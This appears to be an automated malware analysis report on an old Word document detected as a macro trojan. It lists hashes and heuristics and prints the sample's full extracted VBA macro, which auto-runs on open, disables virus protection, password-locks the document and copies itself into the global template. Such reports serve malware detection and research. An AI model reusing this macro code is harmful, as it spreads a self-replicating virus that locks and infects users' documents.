Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5596c9f9dc9712f9…

MALICIOUS

Office (OLE)

29.0 KB Created: 2000-04-19 01:27:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 81f3a009057c18ed71bdd2debf6732cb SHA-1: cd0c70c96a6d663d315268019cbdde051c630919 SHA-256: 5596c9f9dc9712f9922ee5bb49a0a605df622209cccd2c15dda6f56b2aabaccb
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Word document containing a VBA macro that executes automatically via the AutoOpen subroutine. The macro attempts to set a password on the document and copy itself, likely to ensure persistence or evade analysis. The presence of legacy WordBasic auto-exec markers and the AutoOpen macro strongly indicate malicious intent.

Heuristics 4

  • ClamAV: Doc.Trojan.Twno-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Twno-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1782 bytes
SHA-256: 49e0a802536fbdaeb030213a003e118c2b0b228b501bec86348bdd423bf12cae
Detection
ClamAV: Doc.Trojan.Twno-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
    Dim NeedSave As Boolean
    NeedSave = False
    'If (WeekDay(Date) = 7) Then
        'If Not InStr(LCase(ActiveDocument.BuiltInDocumentProperties("Author").Value), "ÕÅ") > 0 Then
           ' If ActiveDocument.BuiltInDocumentProperties("Total Editing Time").Value < 20 Then
                    ActiveDocument.Password = "love"
                    NeedSave = True
           ' End If
       ' End If
    'End If
    Options.VirusProtection = False
Copy:
    Dim file$
    Dim filem$
    Dim nor1
    Dim kkk
    Dim tt
    WordBasic.DisableInput 1
    
    nor = WordBasic.CountMacros(0)
    If nor > 0 Then
        For kk = 1 To nor
            If WordBasic.[MacroName$](kk, 0) = "AutoOpen" Then
            T = 1
            End If
        Next kk
    End If
    
    file$ = WordBasic.[FileName$]()
    filem$ = file$ + ":AutoOpen"
    If T <> 1 Then
        WordBasic.MacroCopy filem$, "AutoOpen"
        NeedSave = True
    End If
    
    nor1 = WordBasic.CountMacros(1)
    If nor1 > 0 Then
        For kkk = 1 To nor1
            If WordBasic.[MacroName$](kkk, 1) = "AutoOpen" Then
            tt = 1
            End If
            Next kkk
    
    End If
    
    If tt <> 1 Then
        WordBasic.MacroCopy "AutoOpen", filem$
        NeedSave = True
    End If
err:
    On Error GoTo EndSub
    
    If NeedSave Then
        ActiveDocument.SaveAs FileFormat:=1
    End If
EndSub:
End Sub

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